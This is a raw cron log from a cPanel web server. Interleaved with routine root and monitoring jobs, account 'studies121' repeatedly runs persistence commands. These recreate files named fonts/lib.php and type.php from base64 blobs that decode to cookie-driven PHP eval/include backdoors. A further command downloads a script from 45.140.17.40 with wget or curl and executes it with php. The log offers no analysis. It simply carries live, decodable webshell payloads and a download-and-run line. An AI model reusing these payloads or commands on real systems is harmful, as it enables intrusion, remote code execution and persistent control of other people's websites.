Sep 20 22:00:01 ip-184-168-122-23 CROND[15495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:01:02 ip-184-168-122-23 CROND[15591]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 22:01:02 ip-184-168-122-23 CROND[15592]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 22:01:02 ip-184-168-122-23 CROND[15595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:01:02 ip-184-168-122-23 CROND[15596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:01:02 ip-184-168-122-23 CROND[15594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:01:02 ip-184-168-122-23 CROND[15598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15592]: starting 0anacron
Sep 20 22:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15614]: finished 0anacron
Sep 20 22:02:01 ip-184-168-122-23 CROND[15692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:02:01 ip-184-168-122-23 CROND[15694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:02:01 ip-184-168-122-23 CROND[15695]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:02:01 ip-184-168-122-23 CROND[15697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:02:01 ip-184-168-122-23 CROND[15699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:03:01 ip-184-168-122-23 CROND[15864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:03:01 ip-184-168-122-23 CROND[15863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:03:01 ip-184-168-122-23 CROND[15865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:03:01 ip-184-168-122-23 CROND[15866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:04:02 ip-184-168-122-23 CROND[15948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:04:02 ip-184-168-122-23 CROND[15949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:04:02 ip-184-168-122-23 CROND[15951]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:04:02 ip-184-168-122-23 CROND[15952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:04:02 ip-184-168-122-23 CROND[15953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:05:01 ip-184-168-122-23 CROND[16045]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 22:05:01 ip-184-168-122-23 CROND[16047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:05:01 ip-184-168-122-23 CROND[16048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:05:01 ip-184-168-122-23 CROND[16052]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 22:05:01 ip-184-168-122-23 CROND[16050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:05:01 ip-184-168-122-23 CROND[16051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:05:01 ip-184-168-122-23 CROND[16054]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 22:06:01 ip-184-168-122-23 CROND[16136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:06:01 ip-184-168-122-23 CROND[16140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:06:01 ip-184-168-122-23 CROND[16139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:06:01 ip-184-168-122-23 CROND[16138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:06:01 ip-184-168-122-23 CROND[16141]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:07:01 ip-184-168-122-23 CROND[16233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:07:01 ip-184-168-122-23 CROND[16236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:07:01 ip-184-168-122-23 CROND[16237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:07:01 ip-184-168-122-23 CROND[16235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:08:01 ip-184-168-122-23 CROND[16320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:08:01 ip-184-168-122-23 CROND[16324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:08:01 ip-184-168-122-23 CROND[16322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:08:01 ip-184-168-122-23 CROND[16323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:08:01 ip-184-168-122-23 CROND[16325]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:09:01 ip-184-168-122-23 CROND[16484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:09:01 ip-184-168-122-23 CROND[16487]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 22:09:01 ip-184-168-122-23 CROND[16486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:09:01 ip-184-168-122-23 CROND[16485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:09:01 ip-184-168-122-23 CROND[16488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:10:01 ip-184-168-122-23 CROND[16591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 22:10:01 ip-184-168-122-23 CROND[16590]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 22:10:01 ip-184-168-122-23 CROND[16593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:10:01 ip-184-168-122-23 CROND[16595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 22:10:01 ip-184-168-122-23 CROND[16596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:10:01 ip-184-168-122-23 CROND[16597]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:10:01 ip-184-168-122-23 CROND[16594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:10:01 ip-184-168-122-23 CROND[16598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:11:01 ip-184-168-122-23 CROND[16688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:11:01 ip-184-168-122-23 CROND[16690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:11:01 ip-184-168-122-23 CROND[16689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:11:01 ip-184-168-122-23 CROND[16694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:12:01 ip-184-168-122-23 CROND[16786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:12:01 ip-184-168-122-23 CROND[16787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:12:01 ip-184-168-122-23 CROND[16788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
